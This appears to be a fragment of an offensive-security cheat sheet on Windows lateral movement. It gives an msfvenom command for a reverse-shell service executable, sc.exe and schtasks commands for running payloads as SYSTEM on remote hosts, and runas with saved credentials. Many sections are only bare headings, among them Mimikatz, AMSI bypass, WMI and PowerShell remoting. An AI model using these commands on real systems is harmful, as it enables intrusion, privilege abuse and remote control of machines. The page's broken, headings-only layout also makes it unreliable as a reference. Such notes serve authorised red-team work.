Connection
Remote administration
Scheduler
Note that executables created by msfvenom to be used by a service have to be created with type exe-service instead of exe to prevent the shell from dying after the task is completed.
msfvenom -p windows/shell/reverse_tcp -f exe-service LHOST=<ip> LPORT=<port> -o <filename>.exeWith sc.exe
sc.exe \\<host> create <service name> binPath="<cmd>" start=auto
sc.exe \\<host> start <service name>With schtasks
schtasks /s <host> /RU "SYSTEM" /create /tn "<task name>" /tr "<cmd or payload>" /sc ONCE /sd 01/01/1970 /st 00:00
schtasks /s <host> /run /TN "<task name>" RunAs
Run with stored credentials
cmdkey /list //get a list of credentials, runas will use the ones in memory
runas /savecred /user:<domain>\<user> "\\<ip>\<path>" //connect to share
runas /savecred /user:<domain>\<user> "cmd.exe /k <cmd>" //run command as userRun by specifying username and password
Run as another user on the same machine
WMI
Execute code
Run local msi installer
RDP
Mimikatz
Xfreerdp
Powershell remoting
Manage sessions
Enable remoting (Administrative privileges required)
connect to machine
Store session data and connect
Code execution
Invoke-Command
Code execution with valid credentials
Load credentials
Execute command
Run a PowerShell script remotely
Powershell + WMI module
Connect to WMI
Store credentials
Start session. WMI supports two protocols: DCOM (port 135 and 49152-65535) or Wsman (ports 5985 and 5986)
Execute command
Create service
Retrieve and start the service
Create scheduled task
Install MSI package
Evil-WinRM
Ps1 files must be stored in path specified by -s option. To execute a script simply type its name in the console.
In-memory execution + AMSI Bypass
Find pre-compiled binaries for in-memory execution here: https://github.com/Flangvik/SharpCollection
Dll loader
Last updated